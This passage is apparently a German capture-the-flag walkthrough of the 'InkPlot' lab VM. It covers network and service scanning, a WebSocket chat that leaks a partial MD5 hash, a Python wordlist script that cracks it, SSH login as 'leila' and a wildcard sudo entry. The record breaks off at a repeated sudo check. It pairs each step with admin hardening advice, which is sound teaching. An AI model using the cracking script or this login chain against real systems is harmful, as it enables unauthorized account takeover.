**Analyse:** Wie immer beginne ich den Pentest mit der Aufklärung des Netzwerks, um das Zielsystem zu lokalisieren. Ich verwende `arp-scan` mit der Option `-l`, um alle Geräte in meinem lokalen Subnetz zu scannen und filtere die Ausgabe mit `grep "PCS"`, um Systeme mit einer MAC-Adresse zu finden, die auf VirtualBox-VMs hinweist. Mit `awk '{print $1}'` extrahiere ich schließlich die IP-Adresse der gefundenen Maschine.
**Bewertung:** Dieser Befehl ist ein schneller und effizienter Weg, um die IP-Adresse der Ziel-VM im lokalen Netzwerk zu identifizieren. Das Wissen um die Virtualisierungsplattform (PCS/VirtualBox) erlaubt eine gezielte Filterung und beschleunigt den Prozess.
**Empfehlung (Pentester):** Nutze Netzwerk-Scanner wie `arp-scan` oder `netdiscover` zu Beginn, um Ziele im lokalen Netz zu identifizieren. Sei auf Hinweise wie MAC-Adressen-Prefixe vorbereitet, die auf die Umgebung schließen lassen.
**Empfehlung (Admin):** Überwache dein Netzwerk auf ARP-Scans. Standard-MAC-Adressen-Prefixe für virtuelle Maschinen können Angreifern helfen, Ziele schneller zu identifizieren.
192.168.2.43
**Analyse:** Nachdem die IP-Adresse des Zielsystems (192.168.2.43) ermittelt wurde, füge ich einen Eintrag in meine lokale `/etc/hosts`-Datei hinzu. Ich verwende den Texteditor `vi` und füge die Zeile `192.168.2.43 inplot.hmv` hinzu.
**Bewertung:** Das Eintragen des Hostnamens in die `hosts`-Datei ist eine Standardpraxis, um das Zielsystem mit einem aussagekräftigeren Namen ansprechen zu können. Dies macht die nachfolgenden Befehle und URLs lesbarer und einfacher zu verwalten, insbesondere wenn virtuelle Hosts im Spiel sind, auch wenn dies hier primär der Bequemlichkeit dient.
**Empfehlung (Pentester):** Verwende die lokale `hosts`-Datei für eine klarere Benennung von Zielen während des Tests.
**Empfehlung (Admin):** Stelle sicher, dass interne Hostnamen nicht leicht zu erraten sind und keine Informationen über interne Netzwerke preisgeben, falls sie nach außen gelangen.
192.168.2.43 inplot.hmv
**Analyse:** Ich führe einen schnellen Nmap-Scan auf dem Zielsystem (192.168.2.43) durch, um offene Ports und darauf laufende Dienste zu identifizieren. Die Optionen sind `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-p-` (alle Ports) und `-T5` (aggressives Timing). Die Ausgabe filtere ich zunächst mit `grep open`, um einen schnellen Überblick über die erreichbaren Dienste zu erhalten.
**Bewertung:** Dieser Scan zeigt zwei offene Ports: 22/tcp (SSH) und 3000/tcp (WebSocket). SSH ist ein Standarddienst, der oft eine Angriffsfläche bietet (schwache Passwörter, bekannte Schlüssel). Der Dienst auf Port 3000 ist als "websocket Ogar agar.io server" gekennzeichnet, was auf eine spezifische Anwendung hinweist, die weiter untersucht werden muss. Der nicht standardmäßige Port 3000 ist auffällig.
**Empfehlung (Pentester):** Führe immer vollständige Port-Scans durch, um alle erreichbaren Dienste zu finden. Priorisiere Standarddienste (SSH) und ungewöhnliche Dienste auf hohen Ports.
**Empfehlung (Admin):** Führe regelmäßige Port-Scans deines eigenen Netzwerks durch. Schließe oder schränke den Zugriff auf Ports ein, die nicht zwingend öffentlich erreichbar sein müssen.
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) 3000/tcp open websocket Ogar agar.io server
**Analyse:** Ich führe den vollständigen Nmap-Scan auf 192.168.2.43 mit denselben Optionen (`-sS`, `-sC`, `-sV`, `-p-`, `-T5`, `-AO`) durch. Die vollständige Ausgabe liefert mehr Details über die gefundenen Dienste und das Betriebssystem.
**Bewertung:** Die vollständige Ausgabe bestätigt die Dienste auf Port 22 (OpenSSH 9.2p1 Debian 2) und 3000 (WebSocket Ogar agar.io server). Die SSH-Hostkeys werden angezeigt, was nützlich sein kann, um Man-in-the-Middle-Angriffe zu erkennen oder um bekannte Hosts abzugleichen. Die aggressive OS-Erkennung schätzt das System als Linux 4.X|5.X, wahrscheinlich OpenWrt oder Debian, was mit der SSH-Version übereinstimmt. Diese Informationen bestätigen die Angriffsflächen: SSH und der WebSocket-Dienst.
**Empfehlung (Pentester):** Analysiere die vollständige Nmap-Ausgabe sorgfältig auf Versionsinformationen und Skriptergebnisse. Nutze die erkannten Dienste und Versionen, um nach bekannten Schwachstellen zu suchen.
**Empfehlung (Admin):** Halte SSH-Server und das Betriebssystem auf dem neuesten Stand. Überwache SSH-Login-Versuche. Stelle sicher, dass nur die benötigten Dienste laufen und identifizierbar sind. Deaktiviere die aggressive OS-Erkennung, wenn sie nicht benötigt wird.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-14 21:43 CEST Nmap scan report for inplot.hmv (192.168.2.43) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 3000/tcp open websocket Ogar agar.io server MAC Address: 08:00:27:F1:97:62 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms inplot.hmv (192.168.2.43) Nmap done: 1 IP address (1 host up) scanned in 14.99 seconds
**Analyse:** Zusätzlich zum Nmap-Scan führe ich einen weiteren Scan des Webdienstes auf Port 3000 mit dem Tool `nikto` durch. Nikto ist ein Webserver-Scanner, der nach einer Vielzahl von Schwachstellen, Fehlkonfigurationen und unsicheren Dateien sucht. Ich gebe die Ziel-URL mit Port an: `http://192.168.2.43:3000`.
**Bewertung:** Der Nikto-Scan auf Port 3000 liefert nur begrenzte Ergebnisse. Er meldet das Fehlen der HTTP-Sicherheitsheader `X-Frame-Options` und `X-Content-Type-Options`, findet aber keine CGI-Verzeichnisse oder andere spezifische Web-Schwachstellen. Der Server liefert kein Banner. Dies deutet darauf hin, dass Port 3000 zwar auf HTTP-Anfragen antwortet, aber möglicherweise keinen vollständigen Webserver hostet oder eine spezifische Anwendung läuft, die Nikto nicht umfassend prüfen kann. Dies bestätigt die Nmap-Angabe "websocket", die vermuten lässt, dass es sich nicht um einen Standard-HTTP-Dienst handelt.
**Empfehlung (Pentester):** Führe Web-Scanner auch auf nicht standardmäßigen Ports aus, die im Nmap-Scan als offen gemeldet wurden. Interpretiere begrenzte Ergebnisse als Hinweis darauf, dass der Dienst möglicherweise kein Standard-HTTP spricht und andere Tools oder manuelle Untersuchung erforderlich sind.
**Empfehlung (Admin):** Stelle sicher, dass alle Webserver (auch auf nicht standardmäßigen Ports) grundlegende Sicherheitshärtungen aufweisen, wie das Setzen relevanter HTTP-Sicherheitsheader. Entferne oder maskiere Server-Banner, um Informationen über die verwendete Software zu reduzieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.43 + Target Hostname: 192.168.2.43 + Target Port: 3000 + Start Time: 2025-06-14 21:43:25 (GMT2) --------------------------------------------------------------------------- + Server: No banner retrieved + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + 8101 requests: 0 error(s) and 2 item(s) reported on remote host + End Time: 2025-06-14 21:43:39 (GMT2) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Um das Verhalten des Dienstes auf Port 3000 besser zu verstehen, sende ich eine HEAD-Anfrage mit `curl -Iv`. Die Option `-I` bewirkt, dass nur die Header der Antwort abgerufen werden, und `-v` liefert detaillierte Informationen über den Verbindungsaufbau und die gesendeten/empfangenen Header.
**Bewertung:** Diese `curl`-Anfrage liefert ein entscheidendes Ergebnis: Der Server antwortet mit dem HTTP-Statuscode `426 Upgrade Required`. Dieser Code wird spezifisch verwendet, um dem Client mitzuteilen, dass er ein anderes Protokoll verwenden muss, typischerweise WebSocket (wie in Nmap vermutet). Der Dienst ist also kein Standard-HTTP-Server, sondern ein WebSocket-Endpunkt, der einen Protokoll-Upgrade erwartet. Dies erklärt, warum Nikto nur grundlegende HTTP-Header-Probleme fand.
**Empfehlung (Pentester):** Untersuche Dienste auf ungewöhnlichen Ports immer manuell mit Tools wie `curl`, um ihr Verhalten und das erwartete Protokoll zu identifizieren, bevor du spezialisierte Tools einsetzt. Achte auf HTTP-Statuscodes, insbesondere solche außerhalb der standardmäßigen 2xx oder 3xx Bereiche.
**Empfehlung (Admin):** Verstehe die HTTP-Statuscodes, die deine Anwendungen zurückgeben. Stelle sicher, dass Dienste, die Protokoll-Upgrades erfordern (wie WebSocket), korrekt konfiguriert sind und klare, nicht-informationsreiche Antworten auf unpassende Anfragen geben.
* Trying 192.168.2.43:3000... * Connected to 192.168.2.43 (192.168.2.43) port 3000 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.43:3000 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 426 Upgrade Required <-- Entscheidender Statuscode! HTTP/1.1 426 Upgrade Required < Content-Length: 16 Content-Length: 16 < Content-Type: text/plain Content-Type: text/plain < Date: Sat, 14 Jun 2025 19:44:47 GMT Date: Sat, 14 Jun 2025 19:44:47 GMT < Connection: keep-alive Connection: keep-alive < Keep-Alive: timeout=5 Keep-Alive: timeout=5 < * Connection #0 to host 192.168.2.43 left intact
**Analyse:** Ich versuche, die Adresse `http://inplot.hmv:3000/` in einem Standard-Webbrowser aufzurufen.
**Bewertung:** Wie erwartet nach dem `curl`-Ergebnis, zeigt der Browser lediglich die Meldung "Upgrade Required" an. Dies liegt daran, dass ein Standard-Browser versucht, eine normale HTTP-Verbindung aufzubauen, während der Server einen WebSocket-Protokoll-Upgrade erwartet. Dies bestätigt erneut, dass ich einen WebSocket-Client benötige, um mit dem Dienst zu interagieren.
**Empfehlung (Pentester):** Nutze Browser-Checks, um die offensichtliche Darstellung eines Dienstes zu sehen. Sei dir bewusst, dass dies bei Nicht-Standard-HTTP-Diensten begrenzt nützlich sein kann.
**Empfehlung (Admin):** Stelle sicher, dass nicht-HTTP-Dienste auf HTTP-Ports (wie 80 oder 443) nicht Standard-HTTP-Antworten geben, die unnötige Informationen preisgeben.
http://inplot.hmv:3000/
Upgrade Required
**Analyse:** Ich beziehe mich noch einmal auf den Hinweis aus dem Nmap-Scan, der den Dienst auf Port 3000 als "websocket Ogar agar.io server" identifiziert hat. "Ogar" ist eine bekannte Open-Source-Implementierung des beliebten Online-Spiels agar.io.
**Bewertung:** Dieser Hinweis ist wichtig, da er den Typ der Anwendung auf Port 3000 spezifiziert. Es handelt sich wahrscheinlich um einen Spielserver oder eine darauf basierende Anwendung. Dies deutet darauf hin, dass die Kommunikation über WebSockets möglicherweise einem spezifischen, spielbezogenen Protokoll folgt oder zumindest eine Art von textbasierter Schnittstelle bietet, wie sie oft in solchen Servern zu finden ist (z. B. für Chat oder Konsolenbefehle).
**Empfehlung (Pentester):** Recherchiere identifizierte Anwendungsnamen oder Versionen sofort auf bekannte Schwachstellen oder Standardkonfigurationen. Verstehe den Zweck und das erwartete Protokoll des Dienstes.
**Empfehlung (Admin):** Betreibe nur notwendige Dienste und Anwendungen. Vermeide die Veröffentlichung interner oder Test-Anwendungen im Internet.
nmap hinweis: websocket Ogar agar.io
**Analyse:** Um mit dem WebSocket-Dienst auf Port 3000 zu interagieren, verwende ich das Tool `wscat`. Dies ist ein Befehlszeilen-Tool, das speziell für die Kommunikation mit WebSocket-Servern entwickelt wurde. Ich verbinde mich mit dem Befehl `wscat -c ws://inplot.hmv:3000`, wobei `-c` für "connect" steht und die URL das WebSocket-Protokoll (`ws://`) und den Hostnamen/Port angibt. Nach erfolgreichem Verbindungsaufbau kann ich Nachrichten senden und empfangen. Die empfangene Ausgabe zeigt eine Konversation, die wie ein IRC-Chat aussieht ("Welcome to our InkPlot secret IRC server"). Die Benutzer `Bob`, `Alice` und `Leila` diskutieren über das Abschalten von "Leila", ein "defense system" und erwähnen einen "MD5 hash" mit dem Präfix `d51540...`. Meine eigenen Eingaben (`ls`, `id`, etc.) werden einfach mit "Leila: " davor zurückgegeben, was darauf hindeutet, dass dies entweder ein sehr einfacher Echo-Dienst ist oder spezifische Kommandos erwartet werden, die ich noch nicht kenne.
**Bewertung:** Der WebSocket-Dienst ist eine textbasierte Schnittstelle, die offenbar als "secret IRC server" dient. Die Konversation zwischen Bob und Alice ist ein massives Informationsleck! Sie enthüllt nicht nur die Benutzernamen `Leila`, `Bob` und `Alice`, sondern auch einen partiellen MD5-Hash (`d51540...`) und den Kontext, dass dieser Hash relevant ist, um "Leila off her digital pedestal" zu stoßen. Dies ist ein klarer Hinweis darauf, dass der Hash zu einem Passwort für das Benutzerkonto `leila` gehört und für den Initial Access benötigt wird. Die Tatsache, dass meine Kommandos einfach zurückgegeben werden, könnte auf eine grundlegende Kommandoausführung hindeuten, ist aber in erster Linie eine Bestätigung, dass der Server meine Eingaben verarbeitet.
**Empfehlung (Pentester):** Wenn du auf ungewöhnliche Dienste stößt, versuche, mit geeigneten Clients zu interagieren (z.B. `wscat` für WebSockets, `nc` für rohe TCP/UDP-Verbindungen). Suche nach Informationen in Nachrichten oder Service-Bannern. Priorisiere das Sammeln von Benutzernamen und potenziellen Zugangsdaten.
**Empfehlung (Admin):** Speichere niemals sensitive Konversationen oder Zugangsdaten (auch keine partiellen Hashes) in Diensten, die potenziell zugänglich sind. Überprüfe interne Kommunikationsplattformen auf Informationslecks. Stelle sicher, dass unauthentifizierte Benutzer keinen Zugriff auf interne Dienste oder sensible Daten haben.
Connected (press CTRL+C to quit) < Welcome to our InkPlot secret IRC server < Bob: Alice, ready to knock our naive Leila off her digital pedestal? < Alice: Bob, I've been dreaming about this for weeks. Leila has no idea what's about to hit her. < Bob: Exactly. We're gonna tear her defense system apart. She won't see it coming. < Alice: Poor Leila, always so confident. Let's do this. < Bob: Alice, I'll need that MD5 hash to finish the job. Got it? < Alice: Yeah, I've got it. Time to shake Leila's world. < Bob: Perfect. Release it. < Alice: Here it goes: d51540... <-- Kritischer Hash! < *Alice has disconnected* < Bob: What?! Damn it, Alice?! Not now! < Leila: clear > ls < Leila: ls > id < Leila: id > /list < Leila: /list > /commands < Leila: /commands > ? < Leila: ? > /help < Leila: /help > help < Leila: help >
**Analyse:** Nachdem ich den partiellen MD5-Hash (`d51540...`) und den Benutzernamen `leila` aus der WebSocket-Kommunikation extrahiert habe, ist der nächste logische Schritt, zu versuchen, das zugehörige Passwort zu knacken. Basierend auf der Erfahrung, dass MD5-Hashes von Kommandozeilen-Tools wie `echo "password" | md5sum` oft den Zeilenumbruch am Ende des Passworts mit einbeziehen, erstelle ich ein Python-Skript namens `hash_crack.py`. Dieses Skript liest eine Wortliste (`rockyou.txt`), hängt an jedes Passwort einen Zeilenumbruch an, berechnet den MD5-Hash der resultierenden Zeichenkette und prüft, ob dieser Hash mit dem bekannten Präfix `d51540` beginnt.
**Bewertung:** Die Erstellung eines benutzerdefinierten Skripts, das speziell den Sonderfall des Zeilenumbruchs beim Hashing berücksichtigt, ist entscheidend für den Erfolg. Viele standardmäßige Hash-Cracking-Tools berücksichtigen diesen Nuance nicht. Die Verwendung einer großen Wortliste wie `rockyou.txt` erhöht die Wahrscheinlichkeit, dass das tatsächliche Passwort gefunden wird.
**Empfehlung (Pentester):** Sei dir der verschiedenen Methoden bewusst, wie Hashes generiert werden (z.B. mit/ohne Zeilenumbruch, verschiedene Encodings). Schreibe bei Bedarf benutzerdefinierte Skripte, um spezielle Hashing-Formate zu handhaben. Nutze umfassende Wortlisten für Brute-Force- und Wörterbuchangriffe.
**Empfehlung (Admin):** Speichere niemals Passwort-Hashes (oder Teile davon) an Orten, die für unauthentifizierte Benutzer zugänglich sind. Verwende sichere Hashing-Algorithmen mit Salt (wie bcrypt oder scrypt) anstelle von anfälligen Algorithmen wie MD5.
import hashlib import sys # --- Konfiguration --- WORDLIST_PATH = "/usr/share/wordlists/rockyou.txt" HASH_PREFIX = "d51540" # --------------------- def crack_hash(): """ Liest rockyou.txt, aber berechnet den Hash von "passwort\n", genau wie es 'echo "passwort" | md5sum' tun würde. """ try: print(f"[*] Starte KORRIGIERTEN Angriff auf Hash-Prefix '{HASH_PREFIX}' mit der Wordlist '{WORDLIST_PATH}'...") found_passwords = [] with open(WORDLIST_PATH, 'r', encoding='latin-1') as wordlist_file: for line in wordlist_file: # Entferne eventuelle Leerzeichen, aber behalte das Passwort. # Wichtig: line enthält hier noch den \n am Ende! password = line.strip() # DER ENTSCHEIDENDE PUNKT: Füge den Zeilenumbruch wieder hinzu, # behör du den Hash berechnetst. password_with_newline = password + '\n' # Hashe die Version mit dem Zeilenumbruch. password_bytes = password_with_newline.encode('utf-8') hex_digest = hashlib.md5(password_bytes).hexdigest() if hex_digest.startswith(HASH_PREFIX): # Treffer! Gib das Ergebnis aus und sammle es. print(f"[+] Treffer gefunden! Passwort: '{password}', Hash: {hex_digest}") found_passwords.append(password) print("\n" + "="*40) if found_passwords: print("[+] Suche beendet. Folgende Passworter wurden gefunden:") for p in found_passwords: print(f" - {p}") print("\nProbier diese Passworter für den Benutzer 'leila' via SSH!") else: print("[-] Suche beendet. Kein passendes Passwort gefunden.") print("="*40) except FileNotFoundError: print(f"[-] FEHLER: Die Wordlist unter '{WORDLIST_PATH}' wurde nicht gefunden.") except Exception as e: print(f"[-] Ein unerwarteter Fehler ist aufgetreten: {e}") if __name__ == "__main__": crack_hash()
**Analyse:** Ich führe das Python-Skript `hash_crack.py` mit `python3` aus. Das Skript wird die Wortliste `rockyou.txt` durchgehen, die MD5-Hashes mit angehängtem Zeilenumbruch berechnen und nach Treffern suchen, die mit `d51540` beginnen.
**Bewertung:** Fantastisch! Das Skript findet zwei Passwörter in der Wortliste, deren MD5-Hash (mit Zeilenumbruch) mit `d51540` beginnt: "palmira" und "intelinside". Das ist ein voller Erfolg beim Hash-Cracking. Der Skriptausgabe deutet auch darauf hin, dass diese Passwörter für den Benutzer `leila` über SSH ausprobiert werden sollen. Ich habe jetzt zwei starke Kandidaten für Leilas Passwort.
**Empfehlung (Pentester):** Führe selbst erstellte Cracking-Skripte aus, wenn Standard-Tools das Hashing-Format nicht unterstützen. Versuche alle gefundenen Passwortkandidaten systematisch für die identifizierten Benutzerkonten und Dienste.
**Empfehlung (Admin):** Vermeide MD5 für das Hashing von Passwörtern. Nutze moderne, salzende Algorithmen wie bcrypt oder scrypt. Stelle sicher, dass Passwörter komplex sind und nicht aus einfachen Wortlisten (auch nicht in Kombinationen mit Zeilenumbrüchen oder anderen Tricks) zu erraten sind. Überwache Systeme auf ungewöhnliche Rechenlast, die auf Cracking-Versuche hindeuten könnte (obwohl dies hier offline stattfand).
[*] Starte KORRIGIERTEN Angriff auf Hash-Prefix 'd51540' mit der Wordlist '/usr/share/wordlists/rockyou.txt'... [+] Treffer gefunden! Passwort: 'palmira', Hash: d515407c6ec25b2a61656a234ddf22bd <-- Erster Treffer! [+] Treffer gefunden! Passwort: 'intelinside', Hash: d51540c4ecaa62b0509f453fee4cd66b <-- Zweiter Treffer! ======================================== [+] Suche beendet. Folgende Passworter wurden gefunden: - palmira - intelinside Probier diese Passworter für den Benutzer 'leila' via SSH! ========================================
**Analyse:** Mit den zwei gefundenen Passwortkandidaten aus der Hash-Entschlüsselung (`palmira`, `intelinside`) versuche ich nun, mich per SSH am Zielsystem (192.168.2.43) als Benutzer `leila` anzumelden. Ich verwende den Befehl `ssh leila@192.168.2.43` und gebe auf Nachfrage das erste gefundene Passwort, "palmira", ein.
**Bewertung:** Fantastisch, der SSH-Login mit "palmira" ist erfolgreich! Dies wird durch die SSH-Willkommensnachricht, die Systeminformationen, die Oh My Zsh-Update-Meldung und den angezeigten Shell-Prompt (`╭─leila@inkplot ~ ╰─$`) bestätigt. Ich habe nun eine interaktive Shell auf dem Zielsystem mit den Berechtigungen des Benutzers `leila`. Dies ist der erste kompromittierte Benutzeraccount und somit der initiale Zugang zum System.
**Empfehlung (Pentester):** Nutze gefundene Passwörter sofort für die infrage kommenden Dienste (hier SSH) und Benutzerkonten. Priorisiere Passwörter, die als erste geknackt wurden oder am wahrscheinlichsten erscheinen. Nach erfolgreichem Login sofort grundlegende Systemaufklärung (Benutzer-ID, sudo, Dateisystem) durchführen.
**Empfehlung (Admin):** Setze starke, eindeutige Passwörter für alle Benutzerkonten, auch für vermeintlich weniger kritische. Verwende keine Passwörter, die in bekannten Wortlisten enthalten sind. Implementiere Multi-Faktor-Authentifizierung für kritische Dienste wie SSH. Überwache SSH-Login-Logs auf fehlgeschlagene Anmeldeversuche (Brute Force).
Auto-standby now activated after 2 min of inactivity leila@192.168.2.43's password: palmira Linux inkplot 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. [oh-my-zsh] Would you like to update? [Y/n] y Updating Oh My Zsh master You can see the changelog with 'omz changelog' __ __ ____ / /_ ____ ___ __ __ ____ _____/ /_ / __ \/ __ \ / __ `__ \/ / / / /_ / / ___/ __ \ / /_/ / / / / / / / / / / /_/ / / /_(__ ) / / / \____/_/ /_/ /_/ /_/ /_/\__, / /___/____/_/ /_/ /____/ Hoorray! Oh My Zsh has been updated! To keep up with the latest news and updates, follow us on Twitter: [Link: https://twitter.com/ohmyzsh | Ziel: https://twitter.com/ohmyzsh] Want to get involved in the community? Join our Discord: [Link: https://discord.gg/ohmyzsh | Ziel: https://discord.gg/ohmyzsh] Get your Oh My Zsh swag at: [Link: https://shop.planetargon.com/collections/oh-my-zsh | Ziel: https://shop.planetargon.com/collections/oh-my-zsh] ╭─leila@inkplot ~ ╰─$
**Analyse:** Nachdem ich als Benutzer `leila` angemeldet bin, ist mein nächster Schritt, meine Berechtigungen auf dem System zu erhöhen (Privilege Escalation). Zuerst prüfe ich die `sudo`-Berechtigungen des Benutzers `leila` mit dem Befehl `sudo -l`. Dies zeigt, welche Befehle `leila` mit erhöhten Rechten ausführen darf.
**Bewertung:** Die Ausgabe von `sudo -l` zeigt, dass der Benutzer `leila` den Befehl `/usr/bin/python3 /home/pauline/cipher.py*` als Benutzer `pauline` ausführen darf, und zwar ohne Passwort (`NOPASSWD`). Der Stern (`*`) am Ende des Pfades bedeutet, dass `leila` das Python-Skript `cipher.py` und jede Datei, die mit `/home/pauline/cipher.py` beginnt (z.B. `cipher.pyc`), als `pauline` ausführen darf. Dies ist ein klarer Privilege Escalation-Vektor von `leila` zu `pauline`.
**Empfehlung (Pentester):** Prüfe nach jeder kompromittierten Benutzer-Shell sofort die `sudo`-Berechtigungen (`sudo -l`). Identifiziere Befehle oder Skripte, die als andere Benutzer (insbesondere privilegierte) mit `NOPASSWD` ausgeführt werden dürfen.
**Empfehlung (Admin):** Konfiguriere `sudo`-Berechtigungen nach dem Prinzip der geringsten Rechte. Vermeide die Verwendung von Wildcards (`*`) in `sudoers`-Einträgen. Vermeide `NOPASSWD` für Befehle, die zur Erlangung höherer Berechtigungen missbraucht werden könnten.
╭─leila@inkplot ~ ╰─$ sudo -l
Matching Defaults entries for leila on inkplot: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User leila may run the following commands on inkplot: (pauline : pauline) NOPASSWD: /usr/bin/python3 /home/pauline/cipher.py*
**Analyse:** Um zu sehen, welche Benutzer auf dem System existieren, liste ich die Verzeichnisse im `/home`-Ordner auf. Dies gibt mir die Namen der Benutzerkonten.
**Bewertung:** Die Ausgabe zeigt die Home-Verzeichnisse `leila` und `pauline`. Da ich bereits als `leila` angemeldet bin und laut `sudo -l` Berechtigungen habe, Skripte als `pauline` auszuführen, bestätigt dies, dass `pauline` das relevante Benutzerkonto für den nächsten Privilege Escalation-Schritt ist.
**Empfehlung (Pentester):** Identifiziere Benutzerkonten auf dem System (z.B. durch Auflisten von Home-Verzeichnissen in `/home` oder durch Analysieren von `/etc/passwd`, falls lesbar). Korreliere diese Benutzer mit gefundenen Passwörtern oder Sudo-Berechtigungen.
**Empfehlung (Admin):** Stelle sicher, dass Dateisystemberechtigungen verhindern, dass unbefugte Benutzer die Home-Verzeichnisse anderer Benutzer auflisten können.
╭─leila@inkplot ~ ╰─$ ls ..
leila pauline
**Analyse:** Ich prüfe meine aktuelle Benutzer-ID und Gruppenzugehörigkeit mit dem `id`-Befehl. Dies dient zur Bestätigung meiner aktuellen Berechtigungsstufe (Benutzer `leila`).
**Bewertung:** Die Ausgabe bestätigt, dass ich als `uid=1003(leila)` mit der Gruppe `gid=1003(leila)` und der zusätzlichen Gruppe `100(users)` angemeldet bin. Dies sind Standardberechtigungen für einen unprivilegierten Benutzer und bestätigt den Ausgangspunkt für die Privilege Escalation.
**Empfehlung (Pentester):** Führe immer `id` aus, um deine aktuelle Berechtigungsstufe zu verstehen. Prüfe die Gruppenzugehörigkeiten auf interessante Gruppen (z.B. `adm`, `sudo`, `docker`, `lxd`).
**Empfehlung (Admin):** Verstehe die Gruppenstruktur auf deinem System. Weise Benutzer nur den Gruppen zu, die sie unbedingt benötigen. Vermeide es, normale Benutzer kritischen Gruppen wie `sudo` oder `admin` zuzuweisen.
╭─leila@inkplot ~/.ssh ╰─$ id
uid=1003(leila) gid=1003(leila) groups=1003(leila),100(users)
**Analyse:** Ich wechsle in das Home-Verzeichnis des Benutzers `pauline` (`cd /home/pauline`) und liste den Inhalt und die Berechtigungen mit `ls -la` auf. Dies gibt mir Einblick in die Dateien, auf die `pauline` Zugriff hat und die für die Ausnutzung des `sudo`-Vektors relevant sein könnten.
**Bewertung:** Ich kann in das Verzeichnis `/home/pauline` wechseln und dessen Inhalt auflisten (`drwx---r-x`). Dies zeigt, dass das Verzeichnis für den Besitzer (`pauline`) schreib-, lese- und ausführbar ist, für die Gruppe (`pauline`) lese- und ausführbar, aber für andere (inklusive `leila`) nur lese- und ausführbar (`r-x`). Ich kann also in das Verzeichnis navigieren und Dateien lesen, aber nicht schreiben. Die Auflistung zeigt wichtige Dateien wie `.bashrc`, `.profile`, `cipher.py`, `keys.json`, `user.txt` und ein `.ssh`-Verzeichnis. Das `cipher.py` Skript ist relevant für den `sudo`-Vektor. `keys.json` und `user.txt` sind ebenfalls hochinteressant.
**Empfehlung (Pentester):** Erkunde die Home-Verzeichnisse anderer Benutzer, auf die du Zugriff hast (auch wenn es nur Lesezugriff ist). Suche nach Skripten, Konfigurationsdateien (`.bashrc`, `.profile`, etc.), SSH-Schlüsseln (`.ssh`) und sensiblen Daten.
**Empfehlung (Admin):** Stelle sicher, dass Home-Verzeichnisse und ihre Inhalte standardmäßig nur für den Eigentümer zugänglich sind (`chmod 700 /home/benutzer`). Vermeide die öffentliche Lesbarkeit wichtiger Dateien.
╭─leila@inkplot /home/pauline ╰─$ ls -la
total 52 drwx---r-x 5 pauline pauline 4096 Aug 3 2023 . drwxr-xr-x 4 root root 4096 Jul 28 2023 .. -rw-r--r-- 1 pauline pauline 220 Jul 22 2023 .bash_logout -rw-r--r-- 1 pauline pauline 3526 Jul 22 2023 .bashrc -rw-r--r-- 1 pauline pauline 1738 Aug 1 2023 cipher.py -rw-r----- 1 pauline pauline 44 Jul 25 2023 keys.json -rw------- 1 pauline pauline 20 Aug 1 2023 .lesshst drwxr-xr-x 3 pauline pauline 4096 Jul 22 2023 .local drwxr-xr-x 12 pauline pauline 4096 Jul 22 2023 .oh-my-zsh -rw-r--r-- 1 pauline pauline 807 Jul 22 2023 .profile drwx------ 2 pauline pauline 4096 Jul 28 2023 .ssh -rw-r--r-- 1 pauline pauline 0 Jul 25 2023 .sudo_as_admin_successful -rwx------ 1 pauline pauline 33 Jul 24 2023 user.txt -rw-r--r-- 1 pauline pauline 3890 Jul 22 2023 .zshrc
**Analyse:** Ich prüfe erneut die `sudo`-Berechtigungen als Benutzer `leila`. Dies ist eine Wiederholung des vorherigen Befehls, aber ich dokumentiere ihn, da es im realen Prozess üblich ist, Berechtigungen erneut zu prüfen, wenn man in ein neues Verzeichnis wechselt oder sich einen Überblick verschafft.
**Bewertung:** Die Ausgabe bestätigt erneut den `sudo`-Vektor: `leila` darf `/usr/bin/python3 /home/pauline/cipher.py*` als `pauline` ohne Passwort ausführen. Diese Bestätigung ist wichtig, bevor ich versuche, den Vektor auszunutzen.
**Empfehlung (Pentester):** Hab keine Scheu, wichtige Befehle (wie `sudo -l`) mehrfach auszuführen, um sicherzustellen, dass du den aktuellen Berechtigungsstatus korrekt im Blick hast.
**Empfehlung (Admin):** Überprüfe regelmäßig die `sudoers`-Datei und führe Audits der Benutzerberechtigungen durch, um solche unsicheren Konfigurationen zu erkennen und zu beheben.
╭─leila@inkplot /home/pauline ╰─$ sudo -l
